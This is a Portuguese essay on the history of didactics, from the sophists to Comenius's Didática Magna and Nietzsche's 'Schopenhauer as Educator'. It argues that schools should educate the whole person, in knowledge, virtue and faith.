Uma Breve Apresentação da
História da Didática
Paula Ignacio
A
Didática, antes dos sofistas, não era conhecida pelos homens. Ela tinha outras
características, menos formais e artificiais, voltadas para a prática da vida
cotidiana, dava-se de maneira natural.
No
entanto, na Magna Grécia, a vida social, cultural e política adquiriu uma nova
maneira de se dar: a Palavra como o centro do Poder. Quem tinha a melhor
oratória e retórica podia ser ouvido, e a educação acontecia dessa forma. Esse
poder era concebido somente aos cidadãos (somente homens e nascidos nas cidades,
como Atenas por exemplo). Havia muitos grupos que não possuíam direitos
políticos, esses não tinham o poder da palavra. Por causa disso, os discursos passaram
a ser de extrema importância e surgiram os sofistas, que de certa maneira
transformaram a educação em uma espécie de tutoria, onde aquele que tinha o
poder da palavra ensinava aos outros cidadãos. Esse processo transformou a
educação, que antes se dava de maneira natural, em algo artificializado, pois
aqueles que não tinham poder procuravam aqueles que possuíam o dom da palavra e
da oratória para receberem instruções.
Quanto
aos sofistas, suas técnicas de ensino se baseavam em contraposições de
argumentos afirmativos e negativos, da lógica, exercícios de memória,
formulações de conceitos e argumentos, a palavra passou a ser mais importante
do que o que a vida natural mostrava. Surgiu o processo científico tal como
conhecemos hoje, uma tentativa de domínio da natureza, e não mais de convívio
com ela. O homem passou a se enxergar como algo separado da natureza.
Assim,
a educação por meio de um homem que detém sabedoria e o poder da palavra surgiu
e permaneceu por muitos séculos. A figura do Tutor ou preceptor era comum e o
centro da educação até a Idade Média.
No
entanto, poucas eram as pessoas educadas por preceptores. Somente os ricos e
religiosos tinham acesso a Educação.
Por
volta do ano de 1520, com os tratados escritos por Martinho Lutero e a tradução
da Bíblia para o alemão, surgiu a Reforma Protestante, uma nova maneira de
compreender o cristianismo e de interpretar os escritos bíblicos. Apesar da
Reforma, muitos europeus ainda continuavam sem acesso a educação e muitos deles
até mesmo analfabetos. A partir de então, Comenius se propõe a redigir a
Didática Magna, um tratado de Educação que tinha como proposta principal apresentar
aos educadores a técnica ou a arte de ensinar a todos.
A
Didática, para ele, deveria começar com uma reforma na educação. Para o autor,
a didática deveria ser reconhecida como a Arte de Ensinar Tudo a Todos.
A
importância revolucionária desse tratado é reconhecida até os dias de hoje. De
acordo com a Didática Magna, deveriam frequentar a escola homens e mulheres, e
mesmo os pobres deveriam receber uma educação voltada principalmente para que
os indivíduos compreendessem que deveriam ser virtuosos, racionais e piedosos.
A
tríade virtude, conhecimento e religião compreende toda a sua obra, que tinha
como objetivo maior a formação dos verdadeiros educadores. A prática do ensino,
para Comenius, era uma técnica que deveria ser adquirida, não bastando apenas o
conhecimento das coisas.
Vale
lembrar que, apesar do caráter revolucionário da obra, ele acreditava em todos
os ensinamentos da Bíblia, onde Deus era o ordenador do mundo. O homem, como
mais sublime expressão da arte divina, teria supostamente uma tendência natural
para evoluir tanto nos aspectos morais, quanto intelectuais e piedosos da vida.
Assim,
partindo desta breve compreensão sobre a mais conhecida obra de Comenius,
podemos pensar a educação na atualidade, onde muitas técnicas descritas em seu
livro são utilizadas pelos educadores até os dias atuais. No entanto, ainda há
suposições descritas por ele que não foram aplicadas pela maioria dos
professores e merecem maior atenção, afim de refletirmos melhor as maneiras
como se dão a educação e as práticas de ensino na atualidade.
Algumas das Principais Técnicas de Ensino Sugeridas na Didática Magna: Revolução na Educação que teve sequência
até os dias atuais
De
acordo com Comenius, todos os homens têm a capacidade para se tornarem
educadores, sejam eles Chefes de Estado, Pastores de Igrejas, Diretores de
Escola. Para que isso aconteça, antes de mais nada, além de ter o
desenvolvimento da inteligência e a educação de si mesmos marcados por vidas virtuosas,
aqueles que se propuserem a educar devem antes de mais nada compreenderem que a
prática do ensino é uma arte, e como toda arte, precisa de técnica para ser
melhor aprendida e compreendida.
Assim,
um homem não seria capaz de dar aulas de pintura se nunca tivesse aprendido
sobre as tintas e diferentes técnicas de pintura, ou ensinar a cozinhar se não
conhecesse algumas técnicas para cortar ou cozer os alimentos, e daí por
diante. Dessa maneira, um educador que não compreendesse as técnicas
necessárias para ensinar, não poderia ser capaz de formar homens capazes de
levar uma vida verdadeiramente completa, ou seja: que seguisse com a vida de
acordo com suas virtudes, compreensão da vida moral, intelectual e espiritual.
Essas
técnicas foram propostas por Comenius no livro Didática Magna, e algumas
delas podem ser encontradas em parâmetros educacionais em muitas escolas
atualmente. Neste trabalho, citarei, dentre inúmeras técnicas descritas pelo
autor, apenas aquelas que ajudarão a compreender como essa obra influenciou
muitos ditames educacionais ao longo da história da educação, e porque não
dizer, da Pedagogia tal como a conhecemos hoje.
Em
especial nos Capítulos IV, X, XI, XII da obra de Comenius, encontraremos tanto
sugestões sobre a arte de ensinar, como também observações sobre a necessidade
de refazer a pedagogia nas escolas.
Considerações Sobre o Capítulo IV da Didática Magna
Neste
capítulo, o autor cita um trecho de uma citação bíblica para dizer que os
homens são frutos perfeitos e aproximados da imagem divina, e por isso é
natural que sejam reconduzidos ao seu criador. Ele descreve os homens da
seguinte maneira: “(…) parece evidente que o homem foi colocado entre as
criaturas visíveis para que fosse: I. Uma criatura racional, II. Uma criatura
senhora das criaturas; III. Uma criatura feita a imagem de seu criador e para
seu deleite”. [1]
Assim,
ele explicita o fato de que o homem é a mais perfeita das criaturas na Terra e
que deve servir-se com sabedoria de todas as coisas que existem na natureza. A
compreensão dos modos e técnicas para extrair da natureza o que precisa e na
medida certa, dependem do conhecimento, de uma visão e atitudes honestas
para consigo mesmo e os outros, e de uma conexão espiritual.
Da
mesma maneira que Comenius acreditava que a excelência do homem só poderia se
dar quando este compreendesse completamente sua própria natureza, bem como a
natureza e finalidade de todas as coisas na Terra, a educação hoje compartilha esse
pensamento.
No
entanto, o conhecimento passou a ser a base central para a formação do homem,
pressupondo que, se o homem conhece profundamente as técnicas de aproveitamento
do que a natureza têm para nos oferecer, isso basta. Nossas sociedades nos mostram
que falta aos homens uma educação que se volte também para o agir social. A
única preocupação moral quando falamos em educação hoje fica pressuposta,
quando muitos países, incluindo o Brasil, têm como obrigatoriedade a frequência
de crianças a partir dos 7 anos completos às escolas. A vida social já passa a
ser garantida. Para muitos pedagogos, o convívio com professores e outros
alunos na escola é importante para a formação do sujeito enquanto ser social.
Mas é fácil contestar esse tipo de afirmação, uma vez que apenas o convívio não
é capaz de formar seres conscientes de seus atos, nem capacita-os para
desenvolver o pensamento crítico que os levaria a agirem de acordo com uma
compreensão mais profunda sobre a vida.
Algumas
escolas, mais tradicionais, apresentam uma preocupação com a educação religiosa
dos alunos, que nem sempre conseguem assimilar certas concepções religiosas ou
vivenciar experiências de êxtase espiritual capaz de leva-los a uma conexão
maior com a vida e seu próprio ser.
Para
Comenius, os homens não deveriam ser direcionados ao seu ser, mas ao seu
Criador, o que consistiria em um processo perfeitamente natural. Hoje é um
pouco mais complicado falar em religião, mas é importante considerar o fato de
que muitas religiões são capazes de realizar transformações profundas nos
homens quando estes são dotados de fé. Talvez esse tipo de educação não deva
ser obrigatório nas escolas, mas a apresentação aprofundada sobre a história
das religiões sim. Assim, ficaria a critério do próprio educando perceber de
que maneira sentiria uma elevação com relação ao próprio espírito, e quais ideias
e concepções se aproximam mais daquilo que acredita.
O
mais importante, nesse caso, seria o fato do aluno conseguir perceber que
sempre há necessidade de evoluir e nunca “estacionar” no que diz respeito ao
aprendizado e a vida.
A
técnica proposta por Comenius é a formação total do homem. Essa formação se
daria através da preocupação dos educadores com essas três instâncias da vida
do educando (conhecimento, virtude e religião). No entanto, como já citado, é
observada atualmente a preocupação única com o conhecimento, onde a virtude e a
religião são vistas separadamente da formação do educando pelos educadores.
Durante
os anos 1873 a 1876, o Filósofo Frederich Nietzsche desenvolveu suas
Considerações Extemporâneas, onde também dissertou sobre os costumes dos
homens, seus hábitos históricos e sobre a educação.
Em
especial no texto Schopenhauer Como Educador, encontra-se uma crítica
bastante proveitosa do filósofo a educação do seu tempo. Assim como Comenius, a
preocupação de Nietzsche se baseava na observação da vida como educador, e
também sugeria a importância da concepção de um novo modelo de educador,
para que uma educação completa e mais natural do homem pudesse acontecer.
Infelizmente, já no século XIX eram observadas certas hipocrisias pedagógicas,
e poucos foram os educadores capazes de transcender hábitos frequentes das
práticas de ensino de escolas e universidades.
Em
Nietzsche, apesar de ser avesso a religião, em especial ao cristianismo, também
conseguimos encontrar uma preocupação com a formação do novo modelo de educador
e com a formação do homem como um ser completo, não apenas detentor de
conhecimento, uma vez que o homem não é apenas um ser racional, mas um ser que
sente, que tem vontades, e principalmente capaz de transcender a si mesmo.
Nos
dias atuais, poucas são as escolas e universidades que trazem propostas
concretas no sentido de formação integral dos seus alunos. Comenius propôs
técnicas para isso, em especial nos Capítulos X, XI e XII da Didática Magna.
Sobre o Capítulo X da Didática Magna: “A Educação nas Escolas Deve Ser Universal”
Compreender
o que significa uma educação integral e universal não é tarefa muito simples.
No entanto, tendo em mãos a obra de Comenius, é possível estabelecer de que
maneira um bom educador poderia proceder.
Educar
para a vida e para a formação completa de um indivíduo é algo impensável nos
dias atuais. A grande maioria dos educadores estão aprisionados em seus hábitos
pedagógicos, talvez por comodismo, ou mesmo por estarem tão enraizados em suas
ações que se tornaram incapazes de perceberem que para educar um aluno, é
preciso estar constantemente educando a si mesmo. Essa educação de si mesmo
compreende a sua formação integral, não bastando apenas o conhecimento
intelectual das coisas, mas a compreensão do seu ser enquanto sujeito social e
espiritual.
Comenius,
no Capítulo X da sua obra, nos diz: “É preciso, pois, tender sem exceção a
que nas escolas, e por mérito delas em toda a vida, 1) os engenhos sejam
educados nas ciências e nas artes; 2) as línguas sejam apuradas; 3) os costumes
sejam formados dentro da honestidade, 4) Deus seja amado de modo sincero”.
E completa: “Com grande sabedoria falou quem disse que as escolas são
grandes oficinas da humanidade: elas transformam os homens em homens de verdade”[2].
A
intenção do autor certamente foi alertar para o fato de que as escolas,
enquanto formadoras de futuros homens completos, deveriam se ocupar da formação
da completude desses homens, formá-los como seres intelectuais e conhecedores
dos costumes e da vida.
Ainda
hoje, esperamos que as escolas formem os homens, muitas famílias ainda
acreditam que elas serão capazes de formar seus alunos em todos os aspectos da
vida, mas isso só acontece quando existe a participação efetiva da família no
processo de formação desses. A escola hoje não se responsabiliza por nada além
do conhecimento intelectual, o que é lamentável.
Formar
os alunos apenas em intelecto e sem explicar-lhes o porque é o mesmo que
obrigar alguém a fazer algo apenas por fazer. Se nos perguntarmos: o quê é
formação integral? Podemos pensar que a resposta para essa questão está dentro
de nós mesmos, quando sentimos a necessidade de encontrarmos um sentido para as
coisas que fazemos, e isso depende não apenas do conhecimento que temos sobre
as coisas, mas da completude que envolve nosso ser: nosso intelecto, nossa vontade
e nosssa fé. Essa tríade também é citada na Didática Magna como parte da
essência da alma humana.
Antes
mesmo de Nietzsche criticar as escolas e universidades alemãs, Comenius também
criticou as escolas de sua época. Tradicionais demais, poderiam ser reformadas
e melhoradas, segundo ele, em vários aspectos, tais como:
–
Desenvolvimento das capacidades individuais dos alunos no seu tempo e sem
pressa
– O
ensino do conhecimento e da disciplina sem severidade, mas de maneira agradável
e delicada
–
Poucas horas de estudo, pois muitas horas tornam-se cansativas e prejudicam o
aprendizado
–
Poucos alunos por turma, uma vez que um único professor para uma grande
quantidade de alunos é prejudicial ao processo de ensino
– O
aprendizado de uma disciplina por vez, para que os alunos absorvam e
compreendam profundamente uma coisa para depois tentar conhecer outra
Foram
muitas as técnicas propostas por ele. A maioria delas, se pensarmos na educação
hoje, poderiam ser bem aproveitadas. No entanto, o que é perceptível é que
algumas práticas de ensino foram tomadas como absolutamente verdadeiras e não
mudaram com o passar dos anos. O mundo mudou, políticas novas, avanços
tecnológicos, houve mudanças na maneira de compreender as artes. No entanto, as
práticas de ensino continuam as mesmas. Os professores hoje têm verdadeira
aversão as novidades que o mundo nos traz, e têm dificuldades sérias para
assimilar essas transformações.
Como
um educador pode então educar para a vida e formar integralmente seus alunos,
se é incapaz de compreender a necessidade de repensar antigos conceitos e
seguir adiante de acordo com a vida? Como ensinar seus alunos a pensar por si
mesmos, se os próprios educadores mostram-se atualmente incapazes de sair dos
modelos de prática de ensino seguidos a vários anos porque sentem medo de se
adaptarem a realidade?
“Que
todos sejam educados para uma cultura não vistosa, mas verdadeira, não
superficial mas sólida, de tal sorte que o homem, como animal racional, seja
guiado pela própria razão e não pela de outrem e se habitue não só a ler e a
entender nos livros as opiniões alheias e a guarda-las de cor e a recitá-las,
mas a penetrar por si mesmo na raiz das coisas e delas extrair autêntico
conhecimento e utilidade”[3].Comenius,
Didática Magna
O
autor não sugere apenas uma reforma na Educação, mas principalmente uma reforma
na maneira de educar dos supostos educadores. Se procurarmos compreender com
sinceridade os motivos que levam um homem a verdadeiramente se considerar um
educador, poderemos encontrar não somente em Comenius, Nietzsche ou outros
críticos da Educação, mas em nós mesmos as reais necessidades de reformular as
práticas pedagógicas que nos foram impostas até hoje e a repensarmos as novas
possibilidades de educar para a vida como um todo.
Bibliografia
COMENIUS. Didática Magna.
3ª Edição, Ed. Martins Fontes, São Paulo, 2006.
DIAS, Rosa Maria. Nietzsche Educador. 2ª Edição,
Ed. Scipione, São Paulo, 1993.
[1]
COMENIUS. Didática Magna, 3ª edição. Ed. Martins Fontes, São Paulo, 2006. Cap.
IV, pg. 53
[2]
Idem, Cap. X, pg. 96.
[3]
Ibdem, Cap. XII, pg. 110.
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